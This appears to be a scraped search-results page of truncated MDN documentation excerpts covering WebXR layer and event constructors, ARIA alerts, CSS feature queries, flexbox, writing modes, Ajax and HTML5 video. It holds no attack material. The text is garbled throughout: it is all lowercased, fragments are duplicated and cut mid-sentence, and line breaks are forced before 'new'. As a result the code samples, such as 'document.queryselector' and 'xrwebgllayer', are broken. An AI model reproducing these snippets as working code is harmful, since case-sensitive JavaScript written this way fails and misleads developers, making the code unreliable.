new xrinputsourceevent("select", { frame: eventframe, inputsource: source }; if (event) { xrsession.dispatchevent(event); } specifications specification status comment webxr device apithe definition of 'xrinputsourceeventinit.inputsource' in that specification. working draft initial definition. ...
XRInputSourcesChangeEvent() - Web APIs
the xrinputsourceschangeevent() constructor creates and returns a
new xrinputsourceschangeevent object, representing an update to the list of available webxr input devices. you won't typically call this constructor yourself, as these events are created and sent to you by the webxr system. syntax
newinputsourceschangeevent =
new xrinputsourceschangeevent(type, eventinitdict); parameters type a domstring indicating the type of event which has occurred. this string must always be inputsourceschange. eventinitdict an object conforming to the xrinputsourceschangeeventinit dictionary, prodividing the initial values for the event. return value a
newly-created xrinputsourceschangeevent object configured based upon the input parameters provided. event types inputsourceschange deliv...
...object conforming to the xrinputsourceschangeeventinit dictionary, prodividing the initial values for the event. return value a
newly-created xrinputsourceschangeevent object configured based upon the input parameters provided. event types inputsourceschange delivered to the xrsession when the set of input devices available to it changes. example the following snippet of code creates a
new xrinputsourceschangeevent object indicating that a single
new input source, described by an xrinputsource object named
newinputsource, has been added to the system. ...
...red based upon the input parameters provided. event types inputsourceschange delivered to the xrsession when the set of input devices available to it changes. example the following snippet of code creates a
new xrinputsourceschangeevent object indicating that a single
new input source, described by an xrinputsource object named
newinputsource, has been added to the system. let iscevent =
new xrinputsourceschangeevent("inputsourceschange", { session: xrsession, added: [
newinputsource], removed: [] }); specifications specification status comment webxr device apithe definition of 'xrinputsourceschangeevent()' in that specification. working draft initial definition. ...
XRReferenceSpaceEvent() - Web APIs
the properties of this object are: referencespace the xrreferencespace from which the event originated. ...
...the properties of this object are: referencespace the xrreferencespace from which the event originated. ...
...space object, xrreferencespace. currently, only the reset event is defined using this type. syntax let refspaceevent =
new xrreferencespaceevent(type, eventinitdict); parameters type a domstring indicating the event type which has occurred. currently, this is always reset. eventinitdict an object based on the xrreferencespaceeventinit dictionary, containing data used to initialize the
new event object. the properties of this object are: referencespace the xrreferencespace from which the event originated. transform an xrrigidtransform which maps the old coordinate system (from before the changes indicated by this event) to the
new coordiante system. return value a
new xrreferencespaceevent object, initialized as defined by the input parameters. specifications ...
XRRenderState.baseLayer - Web APIs
e of the world's contents when rendering each frame of the scene. see the examples below to see how to use updaterenderstate() to set the current xrwebgllayer used for rendering the scene. ...
... rendering each frame of the scene. see the examples below to see how to use updaterenderstate() to set the current xrwebgllayer used for rendering the scene. ...
...er used for rendering the scene. examples you can set the xrwebgllayer used for rendering by calling updaterenderstate(), like this: let canvas = document.queryselector("canvas"); gl = canvas.getcontext("webgl", { xrcompatible: true }); set
newwebgllayer(); function set
newwebgllayer(gl) { if (!gl) { /* webgl not available */ return; } xrsession.updaterenderstate({ baselayer:
new xrwebgllayer(xrsession, gl); }); }; here, the canvas obtained in the first line is the canvas into which webgl is going to draw. that context is passed into
new xrwebgllayer() to create an xrwebgllayer which uses the contents of the webgl context gl as the source of the world's image during presentation. specifications specification status comment webxr device apithe...
XRRigidTransform.position - Web APIs
cating the 3d position component of the transform matrix. the units are meters. note: the w component of the point is always 1.0. ...
...if that fails (probably because bounded-floor isn't supported), we try requesting a local-floor reference space. if we're not in a...
...ll cases, once the space has been obtained, it gets passed into the refspacecreated() function. for immersive spaces, the specified space is simply saved for future use. however, for inline sesions, we know we're in a space not automatically adjusted for floor level, so we request an offset reference space to shift the viewer's height to 1.5 meters above the presumed floor level of 0 meters. that
new reference space is used instead of the one initially received. finally, an animation frame request is submitted. specifications specification status comment webxr device apithe definition of 'xrrigidtransform.position' in that specification. working draft initial definition. ...
XRWebGLLayer.getNativeFramebufferScaleFactor() static method - Web APIs
see the usage notes and examples for details. ...
...the eye we're drawing, regardless of any scaling that is being performed. examples in this example, we request a frame buffer at the device's native resolution, regardless of any performance concerns: function requestnativescalewebgllayer(gl, xrsession) { return gl.makexrcompatible().then(() => { let scalefactor = xrwebgllayer.getnativeframebufferscalefactor(xrsession); let gllayer =
new xrwebgllayer(xrsession, gl, { framebufferscalefactor: scalefactor }); xrsession.updaterenderstate({ baselayer: gllayer }); }); }; this starts by calling the webgl rendering context function makexrcompatible(). when the returned promise resolves, we proceed by calling xrwebgllayer's getnativeframebufferscalefactor() static function to get the scale factor needed to ...
...ion makexrcompatible(). when the returned promise resolves, we proceed by calling xrwebgllayer's getnativeframebufferscalefactor() static function to get the scale factor needed to reach the native resolution, and we then pass that into the webgllayer() constructor as the value of the framebufferscalefactor property in its layerinit dictionary, which is an xrwebgllayerinit object. that gets us a
new xrwebgllayer object representing a rendering surface we can use for the xrsession; we set it as the rendering surface for xrsession by calling its updaterenderstate() method, passing the
new gllayer in using the xrrenderstate dictionary's xrrenderstate.baselayer property. the result is a rendering context that looks like the diagram below: each time the xrviewerpose's views are iterated over f...
XRWebGLLayerInit.antialias - Web APIs
the boolean antialias property, if present and set to true in the xrwebgllayerinit object provided as the xrwebgllayer() constructor's layerinit parameter, requests that the
new webgl rendering layer support anti-aliasing. if this property is missing or is false, anti-aliasing is not desired. there is no way to request a specific anti-aliasing format or level; this decision is left up to the user agent. syntax let layerinit = { antialias: boolvalue }; let gllayer =
new xrwebgllayer(xrsession, gl, layerinit); let gllayer =
new xrwebgllayer(xrsession, gl, { antialias: boolvalue }); value a boolean value which can be set to true to request anti-aliasing support in the
new webgl rendering layer. if false, anti-aliasing is not desired. usage notes the state of anti-aliasing for the c...
...layer =
new xrwebgllayer(xrsession, gl, { antialias: boolvalue }); value a boolean value which can be set to true to request anti-aliasing support in the
new webgl rendering layer. if false, anti-aliasing is not desired. usage notes the state of anti-aliasing for the context after being created can be read from the xrwebgllayer property antialias. example in this example, before creating a
new xrwebgllayer to use for rendering, the value of a user preference from a configuration interface is obtained using a function called getpreferencevalue() to determine whether the user has enabled or disabled anti-aliasing support; this is passed into the constructor. ...
... example in this example, before creating a
new xrwebgllayer to use for rendering, the value of a user preference from a configuration interface is obtained using a function called getpreferencevalue() to determine whether the user has enabled or disabled anti-aliasing support; this is passed into the constructor. let options = { antialias: getpreferencevalue("antialiasing") }; let gllayer =
new xrwebgllayer(xrsession, gl, options); if (gllayer) { xrsession.updaterenderstate({ baselayer: gllayer }); } offering the user features such as the ability to enable or disable things like anti-aliasing can provide them with optiions to try when your app isn't performing as well as they'd like. disabling anti-aliasing may improve performance to some extent. specifications specificat...
XRWebGLLayerInit.ignoreDepthValues - Web APIs
tations performed as accurately as possible. without the depth buffer, these computations must rely entirely on the coordinates of each pixel. this property differs from depth in that depth requests a webgl layer that does not have a depth buffer at all, while ignoredepthvalues merely asks that the depth layer be ignored. syntax let layerinit = { ignoredepthvalues: boolvalue }; let gllayer =
new xrwebgllayer(xrsession, gl, layerinit); let gllayer =
new xrwebgllayer(xrsession, gl, { ignoredepthvalues: boolvalue }); value a boolean value which can be set to true to disable the use of the depth buffer by the webgl rendering layer created by the xrwebgllayer() constructor. the default value, false, means the depth buffer will be used, if available. usage notes if ignoredepthvalues is t...
...he distance specified in the xrsession object's renderstate record's depthnear and 1.0 represents the distance given by depthfar. ignoring depth values causes the compositor to rely solely upon the relative position of objects to establish depth, and may result in less effective and less comfortable 3d effects. the default is false (depth values are used by default). ...
...compositor to rely solely upon the relative position of objects to establish depth, and may result in less effective and less comfortable 3d effects. the default is false (depth values are used by default). example in this example, a
new xrwebgllayer is created for a webxr session, xrsession. it's configured to ignore depth values or an alpha channel. xrsession.updaterenderstate({ baselayer:
new xrwebgllayer(xrsession, gl, { alpha: false, ignoredepthvalues: true }); }); specifications specification status comment webxr device apithe definition of 'xrwebgllayerinit.ignoredepthvalues' in that specification. working draft initial definition. ...
XRWebGLLayerInit.stencil - Web APIs
when using the xrwebgllayer() constructor to create a
new webgl rendering layer for webxr, providing as the layerinit parameter an object whose stencil property is false requests that the
new layer be created without a stencil buffer. the stencil buffer is an optional buffer which, just like the depth buffer, contains one entry for every pixel in the frame buffer. also just like the depth buffer, the value of an enter in the stencil buffer directly affects how (or if) the corresponding pixel is drawn during rendering. you can store values into each entry in the stencil bufer, then specify an operation that determines which stencil buffer values correspond to pixels which should be drawn to the screen during each frame. ...
...h buffer, the value of an enter in the stencil buffer directly affects how (or if) the corresponding pixel is drawn during rendering. you can store values into each entry in the stencil bufer, then specify an operation that determines which stencil buffer values correspond to pixels which should be drawn to the screen during each frame. syntax let layerinit = { stencil: false }; let gllayer =
new xrwebgllayer(xrsession, gl, layerinit); let gllayer =
new xrwebgllayer(xrsession, gl, { stencil: false }); value a boolean which can be set to false to specify that the
new webgl layer should not include a stencil buffer. the default value is true. example in this example, a
new xrwebgllayer is created for a webxr session, xrsession, without a stencil buffer. xrsession.updaterenderstate({ ...
...(xrsession, gl, layerinit); let gllayer =
new xrwebgllayer(xrsession, gl, { stencil: false }); value a boolean which can be set to false to specify that the
new webgl layer should not include a stencil buffer. the default value is true. example in this example, a
new xrwebgllayer is created for a webxr session, xrsession, without a stencil buffer. xrsession.updaterenderstate({ baselayer:
new xrwebgllayer(xrsession, gl, { stencil: false }); }); specifications specification status comment webxr device apithe definition of 'xrwebgllayerinit.stencil' in that specification. working draft initial definition. ...
Web applications and ARIA FAQ - Accessibility
formation, helping authors identify landmarks, regions, and grids on their pages. aria enables dynamic, javascript-driven applications and widgets to interoperate with a variety of desktop-based assistive technologies. for more information about how to create accessible widgets with aria, see the overview of accessible web applications and widgets. where is aria supported? aria is a relatively
new specification, but support for it is growing. a wide variety of commonly-used browsers, assistive technologies, javascript toolkits, and applications now support aria. however, many users may still be using older versions of these technologies. you may want to consider implementing aria using progressive enhancement techniques—such as adding aria using javascript, not directly to your markup—...
...a layer on top to help support the at api. though on its own aria will not change any styles, as with any html attributes, css can take advantage of aria attributes as element selectors. this may provide a convenient mechanism to style aria-enabled widgets. .tab-panel[aria-hidden="true"] { display: none; } .tab-panel[aria-hidden="false"] { display: block; } what about validation? the
new attributes introduced in aria, such as role and those prefixed with aria-, aren't officially part of the html 4 or xhtml 4 specifications. as a result, pages that include aria may not validate using tools such as the w3c's markup validator. the first potential solution to this problem is to avoid placing aria roles and states in your markup directly. instead, use javascript to dynamically add ar...
...you show me an example of aria in action? above. your page will still be theoretically invalid, but it will correctly pass all static validation checks. another alternative is to use the html5 doctype, which includes built-in support for aria. the w3c's html5 validator will even find invalid uses of aria in html5 pages for you. how does html5 relate to aria? html5 introduces a number of useful
new semantic tags to html. a few of these tags overlap directly with roles available in aria, such as the
new <progress> element. in cases where the browser supports an html5 tag that also exists in aria, there is usually no need to also add aria roles and states to the element. aria includes many roles, states, and properties that aren't available in html5, so these will continue to be useful to dev...
Alerts - Accessibility
” handler in javascript's default ‘alert’ function). ...
......
... code which could be inserted above the closing “head” tag: <script type="application/javascript"> function removeoldalert() { var oldalert = document.getelementbyid("alert"); if (oldalert){ document.body.removechild(oldalert); } } function addalert(amsg) { removeoldalert(); var
newalert = document.createelement("div");
newalert.setattribute("role", "alert");
newalert.setattribute("id", "alert"); var msg = document.createtextnode(amsg);
newalert.appendchild(msg); document.body.appendchild(
newalert); } function checkvalidity(aid, asearchterm, amsg) { var elem = document.getelementbyid(aid); var invalid = (elem.value.indexof(asearchterm) < 0); if (invalid) { elem.setattribute("aria-invalid", "true"); addalert(amsg); } else...
@supports - CSS: Cascading Style Sheets
dition is a supports function, the syntax for these is supported by all browsers, but the functions themselves are still being standardized. selector() tests if the browser supports the tested selector syntax. the following example returns true if the browser supports the child combinator: @supports selector(a > b) {} the not operator the not operator can precede any expression to create a
new expression, resulting in the negation of the original one. the following example returns true if the browser's transform-origin property doesn't consider 10em 10em 10em valid: @supports not (transform-origin: 10em 10em 10em) {} as with any operator, the not operator can be applied to a declaration of any complexity. the following examples are both valid: @supports not (not (transform-origin: 2...
...ration of any complexity. the following examples are both valid: @supports not (not (transform-origin: 2px)) {} @supports (display: grid) and (not (display: inline-grid)) {} note: there is no need to enclose the not operator between two parentheses at the top level. to combine it with other operators, like and and or, the parentheses are required. the and operator the and operator creates a
new expression from the conjunction of two shorter expressions. it returns true only if both of the shorter expressions are also true. the following example returns true if and only if the two shorter expressions are simultaneously true: @supports (display: table-cell) and (display: list-item) {} multiple conjunctions can be juxtaposed without the need of more parentheses. the following are both eq...
...taneously true: @supports (display: table-cell) and (display: list-item) {} multiple conjunctions can be juxtaposed without the need of more parentheses. the following are both equivalent: @supports (display: table-cell) and (display: list-item) and (display:run-in) {} @supports (display: table-cell) and ((display: list-item) and (display:run-in)) {} the or operator the or operator creates a
new expression from the disjunction of two shorter expressions. it returns true if one or both of the shorter expressions is also true. the following example returns true if at least one of the two shorter expressions is true: @supports (transform-style: preserve) or (-moz-transform-style: preserve) {} multiple disjunctions can be juxtaposed without the need of more parentheses. the following are b...
Using CSS animations - CSS: Cascading Style Sheets
ame way. animation-name: fadeinout, moveleft300px, bounce; animation-duration: 2.5s, 5s; animation-iteration-count: 2, 1; using animation events you can get additional control over animations — as well as useful information about them — by making use of animation events. these events, represented by the animationevent object, can be used to detect when animations start, finish, and begin a
new iteration. each event includes the time at which it occurred as well as the name of the animation that triggered the event. we'll modify the sliding text example to output some information about each animation event when it occurs, so we can get a look at how they work. adding the css we start with creating the css for the animation. this animation will last for 3 seconds, be called “slidein...
...listener() function, which is shown below. function listener(event) { var l = document.createelement("li"); switch(event.type) { case "animationstart": l.innerhtml = "started: elapsed time is " + event.elapsedtime; break; case "animationend": l.innerhtml = "ended: elapsed time is " + event.elapsedtime; break; case "animationiteration": l.innerhtml = "
new loop started at time " + event.elapsedtime; break; } document.getelementbyid("output").appendchild(l); } this code, too, is very simple. it simply looks at the event.type to determine which kind of animation event occurred, then adds an appropriate note to the <ul> (unordered list) we’re using to log these events. the output, when all is said and done, looks something like this: ...
...nt.elapsedtime; break; } document.getelementbyid("output").appendchild(l); } this code, too, is very simple. it simply looks at the event.type to determine which kind of animation event occurred, then adds an appropriate note to the <ul> (unordered list) we’re using to log these events. the output, when all is said and done, looks something like this: started: elapsed time is 0
new loop started at time 3.01200008392334
new loop started at time 6.00600004196167 ended: elapsed time is 9.234000205993652 note that the times are very close to, but not exactly, those expected given the timing established when the animation was configured. note also that after the final iteration of the animation, the animationiteration event isn’t sent; instead, the animationend event is se...
Using feature queries - CSS: Cascading Style Sheets
perty: value) { css rules to apply } if you want to check if a browser supports the row-gap property, for example, you would write the following feature query. it doesn't matter which value you use in a lot of cases: if all you want is to check that the browser supports this property, then any valid value will do. the value part of the property value pair matters more if you are testing for
new values of a particular property. a good example would be the display property. all browsers support display, as display: block dates back to css1. however the values display: flex and display: grid are
newer. there are often additional values added to properties in css, and so the fact that you have to test for property and value means that you can detect support for these values. testing for la...
... if you test for the gap property, because you want to use it in flexbox, you will get a positive response even though it is not implemented. how to use feature queries for progressive enhancement feature queries are an incredibly useful tool when progressively enhancing a site. they enable you to provide a good solution for all browsers, and an enhanced solution for those browsers that support
newer features. however, there are browsers that don't support feature queries but also have no support for a feature we want to use. for example, we might want to use css grid, which is not supported in ie11. we can't create a fallback by checking for browsers which do not have support, as ie11 doesn't support feature queries either! in practice however, when using feature queries for progressive e...
...the above code is to wrap all of the grid code in a feature query as follows. this may mean you have a little more code but comes with the benefit of being able to test the fallback by misspelling the property or value name. you can try this in the live example above by changing display: grid in the @supports rule to display: grip or similar. summary feature queries can help you start to use
newer features by enhancing a simpler display of the site used for older browsers. as you can wrap up the css for supporting browsers, you do not run the risk of styles used for the fallback display leaking through, as shown in our grid example above. see also the @supports rule learn layout: supporting older browsers css grid layout and progressive enhancement using feature queries in css ...
Ordering Flex Items - CSS: Cascading Style Sheets
in this article we will take a look at ways in which you can change the visual order of your content when using flexbox. we will also consider the implications of reordering items from an accessibility point of view. reverse the display of the items the flex-direction property can take one of four values: row column row-reverse column-reverse the first two values keep the items in the same order that they appear in the document source order and display them sequentially from the start line. the second two values reverse the items by switching the start and end lines. remember that the start line relates to writing modes. ...
...s display order the responsive order conflict for keyboard focus use cases for order there are sometimes places where the fact that the logical and therefore reading order of flex items is separate from the visual order, is helpful. used carefully the order property can allow for some useful common patterns to be easily implemented. you might have a design, perhaps a card that will display a
news item. the heading of the
news item is the key thing to highlight and would be the element that a user might jump to if they were tabbing between headings to find content they wanted to read. the card also has a date; the finished design we want to create is something like this. visually the date appears above the heading, in the source. however, if the card was read out by a screen reader i w...
...ll tweaks are the sort of cases where the order property makes sense. keep the logical order as the reading and tab order of the document, and maintain that in the most accessible and structured fashion. then use order for purely visual design tweaks. when doing so take care that you are not reordering items that could be accessed by the keyboard as a user is tabbing around. especially when using
newer layout methods you should ensure that your browser testing includes testing the site using keyboard only, rather than a mouse or touchscreen. you will quickly see if your development choices make getting around the content difficult. ...
Relationship of flexbox to other layout methods - CSS: Cascading Style Sheets
"note: while the alignment properties are defined in css box alignment [css-align-3], flexible box layout reproduces the definitions of the relevant ones here so as to not create a normative dependency that may slow down advancement of the spec. these properties apply only to flex layout until css box alignment level 3 is finished and defines their effect for other layout modes. additionally, any
new values defined in the box alignment module will apply to flexible box layout; in otherwords, the box alignment module, once completed, will supercede the definitions here." in a later article in this series — aligning items in a flex container — we will take a thorough look at how the box alignment properties apply to flex items. the gap properties a recent addition to the box alignment s...
...ed that flexbox is writing mode aware. writing modes are fully detailed in the css writing modes specification, which details how css supports the various different writing modes that exist internationally. we need to be aware of how this will impact our flex layouts as writing mode changes the direction that blocks are laid out in our document. understanding block and inline directions is key to
new layout methods. it is worth noting that we might want to change the writing mode of our document for reasons other than publishing content in a language that uses a different writing mode. see this article for a full description of writing modes and ways to use them, both for content in other languages and for creative reasons. the writing modes the writing modes specification defines the fol...
...ationship of grid layout to other layout methods. this article details many of the ways that grid layout differs from flex layout, and demonstrates some of the extra functionality you get when using grid layout such as layering of items on the grid. this may also help in your decision as to which layout method to use. flexbox and display: contents the contents value of the display property is a
new value that is described in the spec as follows: “the element itself does not generate any boxes, but its children and pseudo-elements still generate boxes as normal. for the purposes of box generation and layout, the element must be treated as if it had been replaced with its children and pseudo-elements in the document tree.” this value of display controls box generation, and whether the...
Flow Layout and Writing Modes - CSS: Cascading Style Sheets
text-orientation properties. it is defined primarily in terms of its inline base direction and block flow direction.” the specification defines the inline base direction as the direction in which content is ordered on a line. this defines the start and end of the inline direction. the start is where sentences start and the end is where a line of text ends before it would begin to wrap onto a
new line. the block flow direction is the direction in which boxes, for example paragraphs, stack in that writing mode. the css writing-mode property controls the block flow direction. if you want to change your page, or part of your page, to vertical-lr then you can set writing-mode: vertical-lr on the element and this will change the direction of the blocks and therefore the inline direction as we...
...mple demonstrates the third possible value for writing-mode — vertical-lr. this gives you a left-to-right block flow direction and a vertical inline direction. boxes with a different writing mode to their parent when a nested box is assigned a different writing mode to its parent, then an inline level box will display as if it has display: inline-block. a block-level box will establish a
new block formatting context, meaning that if its inner display type would be flow, it will get a computed display type of flow-root. this is shown in the next example where the box which displays as horizontal-tb contains a float which is contained due to its parent establishing a
new bfc. replaced elements replaced elements such as images will not change their orientation based on the writing-m...
...re working in writing modes other than horizontal-tb many of the properties and values that are mapped to the physical dimensions of the screen seem strange. for example, if you give a box a width of 100px, in horizontal-tb that would control the size in the inline direction. in vertical-lr it controls the size in the block direction because it does not rotate with the text. therefore, we have
new properties of block-size and inline-size. if we give our block an inline-size of 100px, it doesn’t matter whether we are in a horizontal or a vertical writing mode, inline-size will always mean the size in the inline direction. the css logical properties and values specification includes logical versions of the properties that control margins, padding and borders as well as other mappings fo...
Logical properties for floating and positioning - CSS: Cascading Style Sheets
sitioned layout positioning generally allows us to position an element in a manner relative to its containing block — we essentially inset the item relative to where it would fall based on normal flow. to do this we have historically used the physical properties top, right, bottom and left. these properties take a length or a percentage as a value, and relate to the user's screen dimensions.
new properties have been created in the logical properties specification for when you want the positioning to relate to the flow of text in your writing mode. these are as follows: inset-block-start, inset-block-end, inset-inline-start and inset-inline-end. in the below example i have used the inset-block-start and inset-inline-end properties to position the blue box using absolute positioning insid...
...nd, inset-inline-start and inset-inline-end. in the below example i have used the inset-block-start and inset-inline-end properties to position the blue box using absolute positioning inside the area with the grey dotted border, which has position: relative. change the writing-mode property to vertical-rl, or add direction: rtl, and see how the flow relative box stays with the text direction.
new two- and four-value shorthands as with other properties in the specification we have some
new shorthand properties, which give the ability to set two or four values at once. inset — sets all four sides together with physical mapping. inset-inline — sets both logical inline insets. inset-block — sets both logical block insets. note: the browsers that have implemented the logical pro...
...look to the browser compatibility data section on each property page reference for more details. example: logical values for text-align the text-align property has logical values that relate to text direction — rather than using left and right we can use start and end. ...
CSS Tutorials - CSS: Cascading Style Sheets
reatly nowadays. media queries are the fundamental building blocks in achieving web sites that render everywhere in their best quality. understanding z-index controlling superposition of boxes is a basic feature that is very quickly needed by web developers. though not that difficult, it requires a basic knowledge of css. intermediate-level css tutorials after the release of css 2 (level 1),
new features have been added to css. some of them are fancy and are pretty self contained. they are easy to use for anybody with a fair knowledge of basic concepts. css counters counting items and pages is an easy task in css. learn to use counter-reset, counter-increment, counters(), and counter(). css animations css3 animations allow you to define configurations of style, as keyframes, and to...
...sition of elements by modifying their coordinate space: it allows for translating, rotating, and deforming them in the 2d or 3d spaces. css gradients gradients are images that transition smoothly from one color to another. there are several types of gradients allowed in css: linear or radial, repeating or not. this tutorial describes how to use them. advanced-level css tutorials css also got
new features allowing you to create complex layouts. though the simplest way to achieve such layout, they are more complex to use for people without too much experience. css multi-column layouts css3 introduces a
new layout allowing you to easily define multiple columns in an element. though multi-column text is not that common on devices like screens, this is particularly useful on printed pages...
...ough the simplest way to achieve such layout, they are more complex to use for people without too much experience. css multi-column layouts css3 introduces a
new layout allowing you to easily define multiple columns in an element. though multi-column text is not that common on devices like screens, this is particularly useful on printed pages, or for indexes. css flexible boxes layouts this
new layout allow you to give boxes flexibility, allowing them to be resized smoothly. it is a powerful way to describe complex interfaces. ...
box-align - CSS: Cascading Style Sheets
the box-align css property specifies how an element aligns its contents across its layout in a perpendicular direction. the effect of the property is only visible if there is extra space in the box. see flexbox for information about the current standard. /* keyword values */ box-align: start; box-align: center; box-align: end; box-align: baseline; box-align: stretch; /* global values */ box-lines: inherit; box-lines: initial; box-lines: unset; the direction of layout depends on the element's orientation: horizontal or vertical. ...
... see also align-items, box-orient, box-direction, box-pack ...
... see also align-items, box-orient, box-direction, box-pack ...
display - CSS: Cascading Style Sheets
and-inline layout). if its outer display type is inline or run-in, and it is participating in a block or inline formatting context, then it generates an inline box. otherwise it generates a block container box. depending on the value of other properties (such as position, float, or overflow) and whether it is itself participating in a block or inline formatting context, it either establishes a
new block formatting context (bfc) for its contents or integrates its contents into its parent formatting context. flow-root the element generates a block element box that establishes a
new block formatting context, defining where the formatting root lies. table these elements behave like html <table> elements. it defines a block-level box. flex the element behaves like a block element and la...
...nd should be favoured by developers until the two keyword values are better supported. for example, using two values you might specify an inline flex container as follows: .container { display: inline flex; } this can currently be specified using a single value. .container { display: inline-flex; } for more information on these changes to the specification, see the article adapting to the
new two-value syntax of display. global /* global values */ display: inherit; display: initial; display: unset; description the individual pages for the different types of value that display can have set on it feature multiple examples of those values in action — see the syntax section. in addition, see the following material, which covers the various values of display in depth. adapting to...
...value syntax of display. global /* global values */ display: inherit; display: initial; display: unset; description the individual pages for the different types of value that display can have set on it feature multiple examples of those values in action — see the syntax section. in addition, see the following material, which covers the various values of display in depth. ...
overflow - CSS: Cascading Style Sheets
crolled programmatically (for example, by setting the value of a property such as offsetleft), so the element is still a scroll container. clip like for hidden, the content is clipped to the element's padding box. the difference between clip and hidden is that the clip keyword also forbids all scrolling, including programmatic scrolling. the box is not a scroll container, and does not start a
new formatting context. if you wish to start a
new formatting context, you can use display: flow-root to do so. scroll content is clipped if necessary to fit the padding box. browsers always display scrollbars whether or not any content is actually clipped, preventing scrollbars from appearing or disappearing as content changes. printers may still print overflowing content. auto depends on the us...
... so. scroll content is clipped if necessary to fit the padding box. browsers always display scrollbars whether or not any content is actually clipped, preventing scrollbars from appearing or disappearing as content changes. printers may still print overflowing content. auto depends on the user agent. if content fits inside the padding box, it looks the same as visible, but still establishes a
new block formatting context. desktop browsers provide scrollbars if content overflows. overlay behaves the same as auto, but with the scrollbars drawn on top of content instead of taking up space. only supported in webkit-based (e.g., safari) and blink-based (e.g., chrome or opera) browsers. mozilla extensions -moz-scrollbars-none [1] use overflow: hidden instead. -moz-scrollbars-hori...
...rd's arrow keys and the mouse wheel. [1] as of firefox 63, this feature is behind a feature preference setting. in about:config, set layout.css.overflow.moz-scrollbars.enabled to true description overflow options include clipping, showing scrollbars, or displaying the content flowing out of its container into the surrounding area. specifying a value other than visible (the default) creates a
new block formatting context. this is necessary for technical reasons — if a float intersected with the scrolling element it would forcibly rewrap the content after each scroll step, leading to a slow scrolling experience. in order for overflow to have an effect, the block-level container must have either a set height (height or max-height) or white-space set to nowrap. setting one axis to visibl...
white-space - CSS: Cascading Style Sheets
ax /* keyword values */ white-space: normal; white-space: nowrap; white-space: pre; white-space: pre-wrap; white-space: pre-line; white-space: break-spaces; /* global values */ white-space: inherit; white-space: initial; white-space: unset; the white-space property is specified as a single keyword chosen from the list of values below. values normal sequences of white space are collapsed.
newline characters in the source are handled the same as other white space. lines are broken as necessary to fill line boxes. nowrap collapses white space as for normal, but suppresses line breaks (text wrapping) within the source. pre sequences of white space are preserved. lines are only broken at
newline characters in the source and at <br> elements. pre-wrap sequences of white space are pre...
...e are handled the same as other white space. lines are broken as necessary to fill line boxes. nowrap collapses white space as for normal, but suppresses line breaks (text wrapping) within the source. pre sequences of white space are preserved. lines are only broken at
newline characters in the source and at <br> elements. pre-wrap sequences of white space are preserved. lines are broken at
newline characters, at <br>, and as necessary to fill line boxes. pre-line sequences of white space are collapsed. lines are broken at
newline characters, at <br>, and as necessary to fill line boxes. break-spaces the behavior is identical to that of pre-wrap, except that: any sequence of preserved white space always takes up space, including at the end of the line. a line breaking opportun...
...e, including at the end of the line. a line breaking opportunity exists after every preserved white space character, including between white space characters. such preserved spaces take up space and do not hang, and thus affect the box’s intrinsic sizes (min-content size and max-content size). ...
Ajax - Developer guides
when these technologies are combined in the ajax model, web applications are able to make quick, incremental updates to the user interface without reloading the entire browser page. this makes the application faster and more responsive to user actions. ...
...orms and upload binary files – in pure ajax, or using formdata objects using ajax within web workers fetch api the fetch api provides an interface for fetching resources. it will seem familiar to anyone who has used xmlhttprequest, but this api provides a more powerful and flexible feature set. server-sent events traditionally, a web page has to send a request to the server to receive
new data; that is, the page requests data from the server. with server-sent events, it's possible for a server to send
new data to a web page at any time, by pushing messages to the web page. these incoming messages can be treated as events + data inside the web page. see also: using server-sent events. pure-ajax navigation example this article provides a working (minimalist) example of a pure-ajax...
...asfile() api on an htmlcanvaselement. html in xmlhttprequest the xmlhttprequest specification adds html parsing support to xmlhttprequest, which originally supported only xml parsing. this feature allows web apps to obtain an html resource as a parsed dom using xmlhttprequest. view all... tools axios promise based http client, which uses xmlhttprequest internally. see also ajax: a
new approach to web applications jesse james garrett, of adaptive path, wrote this article in february 2005, introducing ajax and its related concepts. xmlhttprequest specification whatwg living standard ...
Adding captions and subtitles to HTML5 video - Developer guides
n of subtitles to the video. if you are not interested in this, and just want to get straight into the javascript and more relevant css, skip to the subtitle implementation section. in this example we are using a different video, sintel, as it actually has some speech in it and therefore is better for illustrating how subtitles work! html markup as mentioned above, we need to make use of the
new html5 <track> element to add our subtitle files to the html5 video. we actually have our subtitles in three different languages — english, german, and spanish — so we will reference all three of the relevant vtt files by adding <track> elements inside our html5 <video> element: <video id="video" controls preload="metadata"> <source src="video/sintel-short.mp4" type="video/mp4"> <source...
...ebvtt subtitle file in each case. srclang indicates what language each subtitle files' contents are in. the default attribute is set on the english <track> element, indicating to the browser that this is the default subtitle file definition to use when subtitles have been turned on and the user has not made a specific selection. in addition to adding the <track> elements, we have also added a
new button to control the subtitles menu that we will build. as a consequence, the video controls now look as follows: <div id="video-controls" class="controls" data-state="hidden"> <button id="playpause" type="button" data-state="play">play/pause</button> <button id="stop" type="button" data-state="stop">stop</button> <div class="progress"> <progress id="progress" value="0" min="0"> ...
... bottom of the videocontainer. ...
Audio and video manipulation - Developer guides
having native audio and video in the browser means we can use these data streams with technologies such as <canvas>, webgl or web audio api to modify audio and video directly, for example adding reverb/compression effects to audio, or grayscale/sepia filters to video. this article provides a reference to explain what you need to do. video manipulation the ability to read the pixel values from each frame of a video can be very useful. video and canvas the <canvas> element provides a surface for drawing graphics onto web pages; it is very powerful and can be coupled tightly with video. ...
...rnode an audio track from webrtc (such as the microphone input you can get using getusermedia(). mediastreamaudiosourcenode audio filters the web audio api has a lot of different filter/effects that can be applied to audio using the biquadfilternode, for example. ...
...o/webm"> <source src="https://udn.realityripple.com/samples/6f/08625b424a.m4v" type="video/mp4"> </video> <div class="playable-buttons"> <input id="edit" type="button" value="edit" /> <input id="reset" type="button" value="reset" /> </div> <textarea id="code" class="playable-code"> filter.type = "lowshelf"; filter.frequency.value = 1000; filter.gain.value = 25;</textarea> var context =
new audiocontext(), audiosource = context.createmediaelementsource(document.getelementbyid("my-video")), filter = context.createbiquadfilter(); audiosource.connect(filter); filter.connect(context.destination); var textarea = document.getelementbyid('code'); var reset = document.getelementbyid('reset'); var edit = document.getelementbyid('edit'); var code = textarea.value; function setf...
Rich-Text Editing in Mozilla - Developer guides
ng contenteditable to "true" allows you to make individual elements of a document editable. executing commands when an html document has been switched to designmode, the document object exposes the document.execcommand method which allows one to run commands to manipulate the contents of the editable region. most commands affect the document's selection (bold, italics, etc), while others insert
new elements (adding a link) or affect an entire line (indenting). when using contenteditable, calling execcommand will affect the currently active editable element. internet explorer differences one major difference between mozilla and internet explorer that affects designmode is the generated code in the editable document: while internet explorer uses html tags (em, i, etc), mozilla 1.3 will gene...
